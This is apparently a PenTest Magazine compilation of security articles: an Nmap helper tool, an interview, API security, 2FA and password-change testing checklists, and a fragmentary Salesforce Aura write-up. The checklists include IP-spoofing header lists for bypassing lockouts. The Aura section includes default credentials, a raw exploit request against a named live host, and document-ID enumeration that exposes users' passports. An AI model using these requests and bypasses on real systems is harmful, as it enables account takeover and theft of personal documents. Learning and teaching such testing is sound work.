Category: Blog

Introducing... Threader3000

by Matt Johnson

Offensive security as the red team, Defensive security as the blue team, or even a network administrator, you will undoubtably know the network mapper, or Nmap for short. I’m sure most know this tool but for the few that may not, Nmap is an open-source tool used by all sorts of professionals in the information technology field for network discovery and security auditing. You can perform a variety of tasks when using the right arguments found here: https://nmap.org/book/man-briefoptions.html

Visiting that page, you are presented with a list of possibilities and uncertainties for some. What helped me the most when I was just starting out as an ethical hacking enthusiast? A tool that I think deserves some bit of spotlight.

Threader3000

This is a tool is a project by TCM Security’s red team lead, Joe Helle “The Mayor”. Joe even said that this tool helped him pass the OSCP exam because that exam is all about time management and enumeration.

Here is how it helped me. When I would work on TryHackMe and Hack the box I would often stumble trying to get the scan to work properly with all the right switches. I would forget to add -Pn, or I would make sure to scan all the ports using -p- and just get up and walk away for a good 10 minutes and come back hoping the scan completed. Can’t forget -sV and -sC, and -T4 for speed. You have a lot of options, and it might take you some time to remember and come up with your own go to Nmap scan. Using Threader3000 saved me time and helped me remember the more common switches till I started coming up with my own depending on the situation. I have not tested this on a live target as of the time of writing this, but I think it would still be effective for some cases as this is more for single target. I’m still in training myself after all.

Threader3000 is just python script that allows multi-threaded port scanning. Very simple to install you have a few options, you can install with pip3

pip3 install threader3000

or you can also install with git

git clone https://github.com/dievus/threader3000.git

Choose your method and type that into your terminal and it will install very fast. Once installed on your Kali box you just type threader3000 and you will be prompted to input an IP address or a full qualified domain name.

Type in the IP address you have permission to scan, or the fully qualified domain name and let it go to work. The scans will typically only take a few seconds and you will be presented with a recommendation of what Nmap scan to perform on your target.

Select the option you want, and you’re done. Please remember to only scan targets to that you have permission from the respective owner.

Now let’s try it on something with that should be a little more vulnerable.

Just as before we start off with typing threader3000 and type in the IP address you want to scan, and it will begin. This scan pictured below only took about 15 seconds.

Now I want to run the suggested Nmap scan so I will select option 1.

As you may have guessed I ran this scan on the OWASP Broken Web Application from the results of the nmap scan. Now don’t get me wrong this tool is not going to win anyone awards and I don’t think I lot experienced people will use threader3000 but it does save time and that matters in my opinion. Saving time during the enumeration can help out greatly. Might even help you when you go for your OSCP. Best of luck out there my fellow enthusiasts, and cybersecurity professionals.

Links used in the making of this article.

Check out Threader3000 at https://github.com/dievus/threader3000

Check out Nmap at https://nmap.org/

https://nmap.org/book/man-briefoptions.html

Sharing My Knowledge Is A Way To Give Back To The Community - An Interview With Gabrielle Botbol

[PenTest Magazine]: Hi Gabrielle! Thank you for agreeing to this interview, we’re honored! Can you please introduce yourself to those of our readers who might have not come across your publications just yet?

[Gabrielle Botbol]: Hello Bruno, thank you for having me. I am a former actress who became a pentester. I also have a blog where I shared a self study program I created along with pentesting tips. I am also a member of Synack Artemis Red Team. And I am involved in many Cybersecurity Communities.

[PenTest Magazine]: Today, women are still underrepresented in cybersecurity. You have received the prestigious Woman Hacker of the Year award, and you are a CyberGirls Fellowship Mentor.  Do you have any advice for women in tech and for those who’d like to join the industry? 

[Gabrielle Botbol]: The first tip I would give is that Cybersecurity is a large field and everybody can find their place. Our society has to fight against bias from the earliest age and stop directing girls to literary subjects and boys to scientific topics. But in the digital world in which we evolve, everyone must be aware of scientific subjects because science has no gender. The advice I would give is not to neglect transferable skills. We all have skills we obtained during previous experiences, which is an undeniable asset, especially since most of them are transferable in cybersecurity. It is also essential, in my opinion, to develop your professional network by going to conferences, for example, or volunteering in cybersecurity associations. It is also beneficial to regularly use content curation to learn about the latest technologies, hear about new trends and keep your knowledge up to date. Finally, do not hesitate to contact professionals and ask them questions. There are also a lot of opportunities to be mentored; it can bring a lot in a career and significantly can help save time and better understand the cyber ecosystem.

[PenTest Magazine]: Your path to self-taught pentester is well documented on your blog, and now you are involved in various activities focusing on teaching others. How do you see the importance of sharing knowledge? What do you gain by becoming a mentor to other pentesters? 

[Gabrielle Botbol]: Sharing knowledge is very important to me. I was able to do my program because of the resources shared by the community. Sharing my knowledge, for me, is a way to give back to the community. And it's also a way to learn at a lower cost because I advocate for free content and education for all. I think it's vital that knowledge is made available because not everyone has the financial means to get an education. By sharing your knowledge, you also broaden the offer. Some contents will be more adapted to my way of learning. As we all have different learning profiles, what I'm going to share will speak to some but not necessarily to others, whether it's in terms of the way of explaining or in terms of support; that's why the possibilities must be various. To give you an example, one of the subjects I found the most difficult to learn was buffer overflow. I watched various content and talked to different people, but one day, I came across Heath Adams' videos. The way he explained it was completely adapted to my learning profile. As far as mentoring is concerned, I find it also brings a lot to the table as a mentor. It allows you to develop your listening and vulgarization skills. It also allows you to improve the way you transmit your knowledge. Finally, I would say that there are no comparable emotions when you manage to communicate your passion to someone.

[PenTest Magazine]: Your mantra is “Action for Cyberpeace”. What do you mean by that? What is the role of ethical hackers in today’s Internet, where the majority of the users lack technical skills and cybersecurity awareness? 

[Gabrielle Botbol]: "Action for Cyberpeace" is a way to contribute at my humble level to protect our democracies and economy. For this, Cybersecurity plays an essential role. An ethical hacker will allow companies and institutions to be better protected against cybercriminals. Another aspect of our job is to help people who don't necessarily have the technical knowledge to be safer in cyberspace. We can share tips on how to protect ourselves better online; we can help our friends and family by offering help to associations like Hacker Without Borders. It can take many forms. Our duty as citizens is to protect each member of society as best we can. Without justice, we won't be able to have cyber peace.

[PenTest Magazine]: Many people overlook soft skills when it comes to their career path. What non-technical skills do you find essential in your career? Would you say they make you a better hacker? 

[Gabrielle Botbol]: One of the soft skills that I think is essential as a hacker is persistence. Trying to get into a system can be frustrating if you hit some walls. Never give up, try different things, and also be creative. It definitely pays. Also, it's important to know how to vulgarize technical topics; I find it essential in the pentest reports, especially in the part dedicated to the executives, that the concepts are explained simply. A company will better understand the impact of a vulnerability if you know how to adapt your speech and explain the effects it can have in practice.

[PenTest Magazine]: Do you have any tools you wouldn't be able to live without? Any recent discoveries you’d like to share? 

[Gabrielle Botbol]: A tool I could not live without would be Git. Before using Git for my blog, I used a CMS and found Git much easier and more efficient. It offers a lot of possibilities. It is also thanks to Git that I can propose my tips in my Gitbook, "CSbyGB Pentips." Another tool I use every day is Burp Suite; it's one of my favorites because of its flexibility and all the possibilities it offers. By the way, I like the labs that Portswigger provides via Web Security Academy. It's a great way to learn about web vulnerabilities. Sometimes when you need to refresh your knowledge or tackle a vulnerability you don't know well enough, you can try a lab to understand it better. More and more people are sharing their write-ups; Rana Khalil has a series of videos on labs where she explains everything step by step.

[PenTest Magazine]: What are your plans for the near future? Do you have any topics you’d like to focus on?

[Gabrielle Botbol]: I'm very interested in the cloud, and blockchain right now so I'm starting to find resources on those topics to educate myself.

[PenTest Magazine]: Any final words to our readers? :)

[Gabrielle Botbol]: One last piece of advice would be that self-study can be overwhelming at times, but breaking down a big goal into smaller ones helps to stay focused on the project and makes the process more digestible.

Thank you for reading me. Feel free to reach out on social media.

The Unique Challenges of Securing APIs

By John Iwuozor

APIs are responsible for a huge amount of data flowing around on the internet. With more and more software and technology using APIs to interact with one another, they're also becoming a bigger target for hackers who abuse them to find business logic gaps they can exploit and steal sensitive information.

Recent research from Gartner highlights how API attacks have become the most common attack vector now for enterprises’ online applications. As the use of APIs continues to grow, organizations must contend with the need to secure their APIs from attacks. 

Businesses are using APIs more than ever before

APIs have become a critical aspect of modern business, with organizations using them to integrate disparate systems, access data from third-party sources and provide access to software as a service.

An average enterprise now has more than 300 APIs in use which has seen a 201% increase in the past 12 months.

The API economy is growing at an exponential rate, but this rapid pace of innovation poses several challenges for IT teams tasked with securing these interfaces.

API attacks can be incredibly damaging

Since APIs allow businesses to seamlessly integrate with third-party data sources and take advantage of new technologies, they also have the potential to open businesses up to exploitation by bad actors. 

Attackers can use APIs to bypass traditional web application security controls. For example, an attacker could use an API to access sensitive customer data and then send that data directly to their own server. This is a huge concern because it allows attacks to happen very quickly, without being detected by many traditional monitoring tools.

Recent data has shown that API attacks have increased by 681% in the past 12 months, in comparison to a 321% growth in overall API traffic. Malicious API calls were also recorded to have increased from 2.73 million in December 2020 to 21.32 million in December 2021. There have been a lot of other notable API security incidents in the past year and this indicates that when it comes to APIs, it can make or break a business's cybersecurity strategy if care is not taken.

Securing APIs requires a different mindset

Securing APIs is a different ball game than securing web applications. In the Web world, you're protecting your users from hackers and malware. With APIs, though, you need to protect them not just from external threats but also internal ones (like misuse by others within your own organization). As such, API security requires a different mindset that focuses on protecting against both external and internal threats. Whether you're working with web services, microservices, or even messaging APIs that drive the business logic of modern applications, you need to understand their security implications.

APIs are exposed to the outside world

An API is a gateway to your organization’s data or functionality. It can be accessed by anyone, from anywhere—and it must be protected accordingly.  There is no hiding behind firewalls or DMZs when it comes to web services and microservices; any potential attacker can access them directly. 

This means you need strong authentication and authorization controls in place for all API operations so only authorized users can access what they need, when they need it. It also means you should use encryption wherever possible (and always at rest).

APIs are not static; they're constantly evolving

The reason APIs are interesting from a security perspective is because they are constantly being updated, improved, changed, added to, removed from and deprecated. This means that the security controls for your API must be dynamic and agile enough to keep pace with these changes.

APIs can be hard to monitor

While API monitoring can be used to track API availability, functionality, speed, and performance issues, it can sometimes be hard to carry out because they are not all built the same.

Some APIs may be built by a single team, while others may be shared among multiple teams or even different companies. And unlike typical software, the UI of an API is often limited to a set of functions that can be called from your application—meaning that there's no clear indicator that something is amiss if you don't know how the API was designed in the first place. 

That's why it's important for security professionals who work with APIs to understand how they're architected and what kinds of attacks they might face based on their architecture.

Managing the lifecycle of an API can be tricky

Managing the lifecycle of an API can be tricky. Unlike a traditional web app where you start with a single product and evolve from there, APIs are designed to be infinitely extensible and scalable. They're like Lego sets for developers: once you've created one piece, you can keep adding pieces to it until it becomes something entirely different than you originally intended.

Because of this, managing the lifecycle of an API is more complex than managing the lifecycle of a traditional web app; not only do you need to consider all possible changes that could happen in future versions but also keeping track of all existing versions as well. In addition, because APIs are so dynamic by nature (they grow or shrink based on what developers build), they need frequent updates and adjustments throughout their entire existence.

Conclusion

The growing popularity of APIs, combined with the unique challenges of API security, means that it’s critical for businesses to build a robust API strategy. Technologies such as API gateways can help businesses develop a consistent approach to API security across their organization, while streamlining development and improving customer experience by enabling easy access to data on demand.

John Iwuozor is a freelance tech writer with proven expertise in the tech niche. This includes Data Science, Artificial Intelligence, Machine Learning, Natural Language Processing (NLP), Computer Vision, Image Recognition, IoT, Programming Languages, SaaS, and Cybersecurity. He isalso a regular writer at Bora.

Modern times, old prejudices.

by Jordan M. Bonagura

The Hacker Era

The century of constant acceleration

Twenty-first century, more than a century of human evolution and great changes, a century of constant acceleration. Everything is always changing and exaggeratedly fast – technology, social changes and even our lifestyles. Changes so impactful that not even our most consolidated routines escaped, escape, or will escape impunity.

Currently, we are bound to use technology in everything we do. If we stop to think about the idea of ​​its emergence, the objective was not only to contribute to solving problems and interconnecting people, but also to reduce time with daily and repetitive tasks, which in fact occurred. However, instead of taking advantage of this time to enjoy with family and friends, we end up filling it with more and more tasks, whether out of necessity or simply for having a walking encyclopedia in our hands and quickly wanting to explain the Big Bang Theory while trying to learn 20 different languages ​​in just 15 minutes.

Alert (‘Don’t eat that!!!’);

I believe it is almost impossible to imagine the present day without computers, tablets or our new body-coupled organ called smartphone. Computer equipment today is used for absolutely everything, from scientific research to exploring the universe and discovering new planets, helping to create vaccines during a pandemic, curing or fighting diseases, facilitating locomotion without wasting more hours in traffic and even warning through your fridge for your organ coupled that it is full of sugars and fats, and that's why you tend to have a few nanoseconds less perspective of life.

However, despite our lives being totally linked to this new era, we, for the most part, still live with diverse prejudices.

Prejudice meaning…

The word prejudice means having an opinion or thinking about something or someone, whose content is built from superficial and unfounded analysis, or preconceived without knowledge and/or reflection. Fortunately, or unfortunately, depending on the interlocutor or situation, the acceleration process we saw above also brought us beyond an evident technological dependence, a huge amount of information and possibilities associated with an absolute lack of time and/or interest for us to deepening and not just becoming “superficial experts” of all the things summarized in the first three lines of the first two search returns of our internet browser.

A great example of a “superficial expert”

Perhaps here is the root of the superficiality that feeds many of our prejudices, after all, we add to this misinformation the ease of parasitizing the world from the perspective of the opinion of others, which leads us to judge what we do not know, or to defend ourselves from what someone one day “out of absolute ignorance” judged to be harmful, and we do this for everything, we are always judging, taking as truth an event, idea or news without even deeply analyzing the facts.

And it is precisely in the ditch of these flawed judgments that a concept that has been widely used recently around the world enters, the Hacker concept.

Bookworms and nerds

But before we delve into this, let's go back to school days. Do you remember when you studied and there were the great scholars in the classroom? Everyone remembers them, the “bookworms”, the “nerds”, the ones who knew everything, who spent hours in the library researching and who went deeper than requested in a given job. In the end, everyone wanted to pair test with them, as they were sure of the best grades and the best results.

These people still exist, and continue to be sunk in libraries, now, often digital, they continue to seek knowledge in what makes them tick, they continue to do all this, however, in different areas of knowledge and with the support of different technologies.

The word Hacker is the word that defines this group of people, that is, natural researchers and tireless seekers of knowledge.

Remember, all that super-modern hospital equipment that helps people, that superfast plane or train, that last generation of cell phone that tracks your heartbeat and lets your doctor or relatives know if you don't feel well, none of it built itself, the system that controls all this was not made by aliens… I'm so sorry to inform you that the voice of the “woman or man” that you program to turn on your bathtub, show you the best way and make your coffee are not real and they can make mistakes… Trust me, some of these mistakes can be very harmful…

Well, someone needed to develop, test, and ensure that this technology works, and more than that, that it is safe and available when we need it, right? No one would want to go into their bank account and see that it was stolen, be caught by surprise by a hurricane, without being able to prepare beforehand, or the freezer tricking you into saying it has chocolate ice cream, when in fact it doesn't… And do you know who is behind all these things that make your life easier? Then the hackers.

A huge different purpose means everything

No! The hacker is not the professional who steals your Instagram account, takes the pennies of all your banking transactions to another account in a tax haven, and then uses his money to finance an international network of computers who will break into the systems that regulate the upcoming elections to choose Batman as the new leader of the Justice League. The correct definition for this guy is Criminal, it doesn't matter if cybercriminal or not; It's Criminal.

Hackers are not these guys! What has historically brought them closer to this confusion about having the knowledge and the tools and therefore being found guilty of the fact, was precisely the prejudice based on superficiality, as we discussed earlier. It's like judging the shovel owner guilty of all the holes in the world. Hackers are great researchers, regardless of the area or segment of knowledge in which they work.

What I want to reinforce here is that what separates Hackers from Criminals is the same that separates any other person or professional from doing right or wrong, that is, facts, actions, purposes, and a good dose of character.

Stay Safe

About the author:

Jordan M. Bonagura

CISO and Information Security Researcher - CEH

Hacker IS NOT a Crime Advocate

Stay Safe (Magazine and Podcasts) Founder

Post Graduated - Strategic Business Management, Higher Education Methodology Innovation and Research Methodology

Organizer of Vale Security Conference - Brazil

Director ember of Cloud Security Alliance - Brazil

Advisory Member of Digital Law and High-Tech Crimes OAB (Association of Brazilian Lawyers)

IT Teacher and Course Coordinator

SJC Hacker Space Founder

Speaker (AppSec California, GrrCon, Angeles Y Demonios, BSides Augusta, BSides SP, BalCConf2k14, H2HC, SegInfo, ITA, INPE, CNASI, RoadSec, etc.)

 

 

AppSec Tales VI | 2FA

by Karol Mazurek

Application Security Testing of the 2FA form guidelines.

INTRODUCTION

This is the sixth article in the AppSec series which describes how to test 2FA forms to ensure a secure authentication process.
The advice in this article is based on:

  • OWASP Web Security Testing Guide
  • OWASP Application Security Verification Standard
  • NIST recommendations
  • bug bounty reports
  • own experience.

I will provide a short test sample, a potential impact or an attack scenario, and a possible solution to the problem at each point.

GUIDELINES

In most of the below examples, the attacker is able to bypass two-factor authentication.

I. FORCE BROWSING

Skip to the restricted area when asked for a 2FA code.

Source: Own study — Changing the URL to navigate to /account, when asked for 2FA.
Source: Own study — Intercepting and changing the Referrer header as if came from the 2FA page.

2FA should be checked before granting authorization to any restricted area.

II. BROKEN LOGIC

Check the integrity of the 2FA.

  • An attacker could hijack the victim’s account by using their own credentials and then changing the value of the account cookie to any arbitrary email address when submitting the verification code in the second step of the signing-in process.
Source: Own study — Changing cookie to the victim and brute-forcing 2FA code using Intruder.

The entire authorization process should be consistent.
The next steps should refer to the previously entered data.

III. BROKEN VERIFICATION CODE VALIDATION

Fuzz the code parameter value.

Source: Own study — Testing broken Verification code validation of 2FA feature (fuzzing wordlist).

The API should properly validate the verification code.

IV. SHARED VERIFICATION CODE

Use generated by the attacker 2FA code on the victim account.

Source: Own study — Testing shared verification code.

The OTP should be associated with the account for which it was generated.

V. ANOTHER USER REUSABLE VERIFICATION CODE

Reuse an attacker’s OTP on the victim's account.

Source: Own study — Testing reusable verification code.

The verification code should not be reusable and associated with a single account.

VI. STATIC & REUSABLE VERIFICATION CODE

Resend the verification code and check if it changes.

Source: Own study — Testing the static verification code.

The verification code should be random for each resend.
The old verification code should be invalidated after generating a new one.

VII. TIME-BASED VERIFICATION CODE GENERATOR

Generate verification code at the same time for the two different users.

import requests
url = "https://2FA_GENERATOR_URL"
headers = {}
victim = {"LOGIN": "victim", "PASS":"password123"}
attacker = {"LOGIN": "attacker", "PASS":"password123"}
requests.post(url, headers=headers, data=victim, verify=False)
requests.post(url, headers=headers, data=attacker, verify=False)

Verification code should be generated using a secure source of randomness, single-use, time-limited and bound to account.

VIII. BRUTE-FORCIBLE VERIFICATION CODE

Check if the verification code can be guessed.

Source: Own study — Testing brute-forcible verification code.
Source: Own study — Brute-forcing verification code using Burp Intruder.

Rate-limiting should be implemented.
The code should expire after 10 minutes.
Code should contain at least 20 bits of entropy (at least 6 random numbers).
Verification should be limited to 5 incorrect attempts per verification code.

IX. NO RATE-LIMITING — CODE GENERATION

Generate the OTP 1000 times in a short time.

  • The attacker could conduct a DoS attack on a victim’s phone or cause a financial loss to the company by generating tons of SMS.
Source: Own study — Setting up Burp Intruder for the OTP generation rate-limit test.

Restrict the consecutive requests through mechanisms like time delay, CAPTCHA, or other controls.

X. LOCKING MECHANISM BYPASS— HEADER

Use additional headers after triggering the OTP generator lock.

  • An attacker could bypass the locking mechanism on the login page.
Source: Own study — Using headers to bypass the locking mechanism.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwarded-Host: 127.0.0.1

The locking mechanism should not be based on other request elements than the user account variable. Additionally, avoid using unnecessary headers.

XII. LOCKING MECHANISM BYPASS— PATH & METHODS

Use similar paths, random parameters, and methods after the lock.

  • The attacker may bypass the locking mechanism.
Source: Own study — Testing locking mechanism parameter bypass.

The locking mechanism should not be based on other variables than the user account.

XIII. LOCKING MECHANISM BYPASS— SOURCE IP ROTATION

Use a different IP address to bypass the lock.

Source: Own study — Testing locking mechanism source IP bypass (IP Rotate).

The locking mechanism should not be based only on the IP address.

XIV. DENIAL OF SESSION LIMITING MECHANISM

Check if the locking mechanism also destroys an active user session.

  • An attacker could block the victim’s account.
Source: Own study — Testing Denial of a Session limiting mechanism.

The locking mechanism should not invalidate active user sessions.

XV. DENIAL OF AUTHENTICATION LIMITING MECHANISM

Check if the locking mechanism also destroys an active user session.

  • An attacker could block the victim’s account.
Source: Own study — Testing Denial of a Session limiting mechanism.

The locking mechanism should not invalidate active user sessions.

XVI. CLIENT-SIDE VERIFICATION

Issue a wrong code and manipulate the server response.

  • The technique can be used to find new endpoints, and trigger some new requests without looking into a JS code. It is very handy when the JS code is very big and you have a little time.
Source: Own study — Intercepting response to the login request.
Source: Own study — Changing response from “403 Forbidden” to “200 OK” and forwarding it.

Ensure that client-side security checks are duplicated on the server-side.

XVII. CREDENTIALS OVER AN UNENCRYPTED CHANNEL

Check if data is transferred via HTTP or as a parameter in the URL.

  • Sensitive data may be logged by the browser, the webserver, and forward or reverse proxy servers between the two endpoints.
  • It could be also displayed on-screen, bookmarked, or emailed around by users.
  • They may be disclosed to third parties via the Referer header when any off-site links are followed.
Source: Own study — Example of sensitive data transmitted in the path and using HTTP.

Sensitive data in the URL and sent using not secure Hypertext Transfer Protocol increases the risk that it will be captured.

XVIII. VERIFICATION CODE LEAK

Check the source code of the response, cookies, and headers.

Source: Own study — Base64 encoded verification code in the response header.

The verification code should not be disclosed in any place.

XIX. PERSONAL INFORMATION LEAKAGE ON THE 2FA PAGE

Check if the application censors the personal data on the 2FA page.

The application should respond with generic information on the 2FA page.
If there is a mobile number being used it should be censored.

XX. IGNORED 2FA

Check if 2FA is required in all critical points of the application.

2FA should be enforced at all endpoints that may access or affect a user’s account.

XXI. UNVERIFIED ADDITION | CHANGE | DELETION OF 2FA

Check if the application does verify the modification of 2FA settings.

  • If the attacker successfully exploits another flaw, like CSRF or XSS in the application, he could modify or disable 2FA.
  • With temporary access to the victim’s account (e.g. physical access to a device with an active session), an attacker could modify or disable 2FA.
Source: Own study — An example of a simplified and secure 2FA access process.

The application should enforce a verification on the 2FA settings page.
On each 2FA settings modification, the user should be notified.

XXII. BROKEN SESSION INVALIDATION ON 2FA CHANGE

Check if the application invalidates the sessions after activation of 2FA.

Source: Own study — Testing the broken session invalidation on 2FA change.

The application should invalidate the session on the server-side after the user activates the 2FA feature or modify any 2FA settings.

XXIII. DISABLING 2FA VIA OTHER FEATURES

Check if other functionalities can disable 2FA.

Source: Own study — Testing disabling 2FA via other features.

2FA should be required for any critical app functionality such as password recovery, and it should not be disabled other than through 2FA settings.

XXIV. CSRF

Check the CSRF protection on the 2FA settings page.

  • An attacker creates a web page, inserts a hidden CSRF form, then lures the victim to visit it — the 2FA will be disabled or modified automatically.
Source: Own study — Generating CSRF PoC using Burp Suite.

Implement an unpredictable token in each HTTP request.
Such tokens should, at a minimum, be unique per user session.
Check CSRF Prevention Cheat Sheet from OWASP.

XXV. INPUT VALIDATION

Check the AppSec Tales I and AppSec Tales II.

Check the Input Validation Cheat Sheet from OWASP.

XXVI. INPUT LENGTH LIMITATIONS

Check parameter values length limits on each 2FA form.

Implement proper length limitations on the data received from the user.

FINAL WORDS

Testing any element of a Web Application is like sailing the open ocean.
Treat the WSTG like the compass and the ASVS like azimuth.

However, do not forget that someone had to invent it. Therefore you always have to look for new ways that you will not find in the WSTG or here, but you have to find them yourself.

Nevertheless, I hope you will find this article useful and keep coming back to it. I also encourage you to comment if you have an idea for a point for this article or if you find any bugs here ;]

AppSec Tales V | Pass Change

by Karol Mazurek

Application Security Testing of the Password Change form guidelines.

INTRODUCTION

This is the fifth article in the AppSec series which describes how to test Password Change forms to ensure a secure authentication process.
The advice in this article is based on:

  • OWASP Web Security Testing Guide
  • OWASP Application Security Verification Standard
  • NIST recommendations
  • bug bounty reports
  • own experience.

I will provide a short test sample, a potential impact or an attack scenario, and a possible solution to the problem at each point.

GUIDELINES

I. UNVERIFIED PASSWORD CHANGE

Check if the password change process flow is implemented correctly.

  • If the attacker successfully exploits another flaw, like CSRF or XSS in the application, he could change the victim’s password.
  • With temporary access to the victim’s account (e.g. physical access to a device with an active session), an attacker could associate a new password to the account.
Source: Own study —Example of password change form & process chart.

Password verification on pass change requests should be implemented.

II. IDOR

Abuse the Pass Change API by issuing another account email.

  • An attacker could hijack the victim’s account just by knowing its email.

 

Source: Own study — Testing Insecure Direct Object Reference on password change (fuzzing wordlist).

The API should reject the password changes of another user without verification.
Password verification on pass change requests should be properly implemented.

III. BROKEN LOGIC

Send multiple values using parameter pollution or an array variable.

  • With temporary access to the victim’s account, an attacker could guess a user password using a few requests.
Source: Own study — Examples of password guessing and spraying attack.

API should not accept multiple values for the parameters during authorization.

IV. RATE-LIMITING

Try to change the password 1000 times in seconds.

  • With temporary access to the victim’s account, an attacker could brute-force the old password.
  • Could lead to Denial of a Service.
Source: Own study — Preparing 1 000 invalid password wordlist for testing.

Restrict the consecutive requests through mechanisms like time delay, CAPTCHA, or other controls. No more than 100 failed attempts per hour should be possible on a single account.

V. BROKEN SESSION INVALIDATION

Change the password and check if other active sessions have expired.

The application should prompt for session termination on password change or log out the user from all active sessions, except the current one.

VI. PASSWORD POLICY

Check if the password policy complies with current standards.

  • The password could be brute-forced easier.
  • If the database was leaked, the passwords could be cracked more easily.
Source: Own study — Password policy guidelines (10,000 common password wordlist).

Password policy is volatile, always refer to the latest Application Security Verification Standard recommendations.

VII. MISSING PASSWORD FIELD MASKING

Check if the software does mask passwords during entry.

  • Increasing the potential for attackers to observe and capture passwords.
Source: Own study — Example of missing password field masking.

Include a password field mask and an option to view the masked password.

VIII. CREDENTIALS OVER AN UNENCRYPTED CHANNEL

Check if data is transferred via HTTP or as a parameter in the URL.

  • Sensitive data may be logged by the browser, the webserver, and forward or reverse proxy servers between the two endpoints.
  • It could be also displayed on-screen, bookmarked, or emailed around by users.
  • They may be disclosed to third parties via the Referer header when any off-site links are followed.
Source: Own study — Example of sensitive data transmitted in the path and using HTTP.

Sensitive data in the URL and sent using not secure Hypertext Transfer Protocol increases the risk that it will be captured.

IX. INPUT VALIDATION

Check the AppSec Tales I and AppSec Tales II.

Check the Input Validation Cheat Sheet from OWASP.

FINAL WORDS

Testing any element of a Web Application is like sailing the open ocean.
Treat the WSTG like the compass and the ASVS like azimuth.

However, do not forget that someone had to invent it. Therefore you always have to look for new ways that you will not find in the WSTG or here, but you have to find them yourself.

Nevertheless, I hope you will find this article useful and keep coming back to it. I also encourage you to comment if you have an idea for a point for this article or if you find any bugs here ;]

Originally posted at: https://systemweakness.com/appsec-tales-v-pass-change-ad5762fe0c27

 

Making Small Things BIG

by Clark Voss

/aura

/s/sfsites/aura

/sfsites/aura

/s/aura

/s/fact
Aura Paths Exposed
test:test

admin:admin

test@test.com:test
POST /s/sfsites/aura?r=5&other.Core_Utility.fetchUser=1 HTTP/1.1
Host: marketplace.intel.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://marketplace.intel.com/s/?language=en_US
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 705
Origin: https://marketplace.intel.com
Connection: close
Cookie: renderCtx=%7B%22pageId%22%3A%22faab079b-da30–4950–9474–83b3e47e8ec6%22%2C%22schema%22%3A%22Published%22%2C%22viewType%22%3A%22Published%22%2C%22brandingSetId%22%3A%22a0c9

message=%7B%22actions%22%3A%5B%7B%22id%22%3A%22132%3Ba%22%2C%22descriptor%22%3A%22apex%3A%2F%2FCore_UtilityController%2FACTION%24fetchUser%22%2C%22callingDescriptor%22%3A%22UNKNOWN%22%2C%22params%22%3A%7B%7D%7D%5D%7D&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22QPQi8lbYE8YujG6og6Dqgw%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%22Zj1VcUXqZfCDWZ-Q5LxXcA%22%2C%22COMPONENT%40markup%3A%2F%2Finstrumentation%3Ao11yCoreCollector%22%3A%228089lZkrpgraL8-V8KZXNw%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%22srcdoc%22%3Atrue%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2F%3Flanguage%3Den_US&aura.token=null
{“actions”:
[{“id”:”123;a”,”descriptor”:”serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems”,”callingDescriptor”:”UNKNOWN”,”params”:{“entityNameOrId”:”ContentVersion”,”layoutType”:”FULL”,”pageSize”:100,”currentPage”:0,”useTimeout”:false,”getCount”:false,”enableRowActions”:false}}]}
https://github.com/clarkvoss/Salesforce-object-names
Using Burp’s Intruder to find Document IDs
User Info
/servlet/servlet.FileDownload?file=ID
/sfc/servlet.shepherd/document/download/ID
/sfc/servlet.shepherd/version/download/ID
IDs Gathered
Download Image
Image of User Passport
Travel Documents
068§t§000000§9§§ii5gAAA§
Burp Intruder Find Valid IDs

14 Free OSINT Tools for Adding Context in Person-of-Interest Investigations

The digital landscape continues to change faster than the technologies used for intelligence gathering. Alongside the rapid evolution of digital communication platforms, the sheer amount of information generated daily poses a significant challenge in terms of resources. Law enforcement agencies, private companies, or security consultancies alike suffer from shortage of personnel, time, and budget to run comprehensive investigations that could match the scale of their task.

Person-of-interest (POI) – Definition

Person-of-interest is a term originally widely used by law enforcement and intelligence officials to identify someone linked to and/or in possession of information pertinent to an ongoing criminal investigation. As the specialisation of online investigations grew beyond the military and law enforcement into private sectors, the term has been adopted by trained practitioners (for example cyber security experts or open-source intelligence analysts) conducting specialised investigations of persons. The term has no legal implications.

Nowadays, the persons suspected of illicit activities are tech-savvy and resourceful; with access to a much broader set of tools to conceal their identity and activity online. As a result, it became much easier for persons-of-interest (POI) in investigations to slip under the radar of LEAs, prosecutors, or investigative journalists.

However, there is one important critical aspect of POI investigations, which can sway the conclusions of an OSINT report, namely context.

Connecting the Dots with Context Awareness in OSINT Investigations

Peter Cochrane, an international sought-after advisor and consultant with over 40 years of technology and operational experience, summarised the necessity for context awareness in interpreting intel perfectly during last year’s HENSOLDT Analytics Intelligence Webinar on the topic of modern hybrid warfare:

“[…] intelligence systems have to be responsive to long-term monitoring and engage in deep observation and analysis of the situation. The data must be applied to the wider context to reveal unknowns and contingencies.”

This, postulated Peter Cochrane, calls for minimization conditions that foster errors, for example, focusing on narrow situation modelling or not factoring in human and machine cognitive bias.

Therefore, an efficient and conclusive strategy for OSINT investigations of POIs has to combine automated cross-media intelligence gathering workflows with open-source tools developed to target very specific information gaps.

14 Useful OSINT Tools for Persons-of-Interest Investigations

Use the tool to check if and where an email account was breached over the last years. It’s useful in tracking if an email had been used on more than one platform. This tool similar to Have I Been Pwned, however, Breach Checker focuses exclusively on email data breaches. 

BuiltWith covers 60,409+ internet technologies which include analytics, advertising, hosting, CMS and many more. By entering a url in the search bar, you can see the elements a website had been built with and what tools it uses. With BuiltWith.com Technology Trends data back to January 2000.

This online service enables investigators to quickly check whether their POIs email or phone address featured in any of the past data breaches.

Allows users to instantly fetch any address or place from the Google Street View.

This tool helps you estimate and fact-check the maximum number of people standing in a given area.

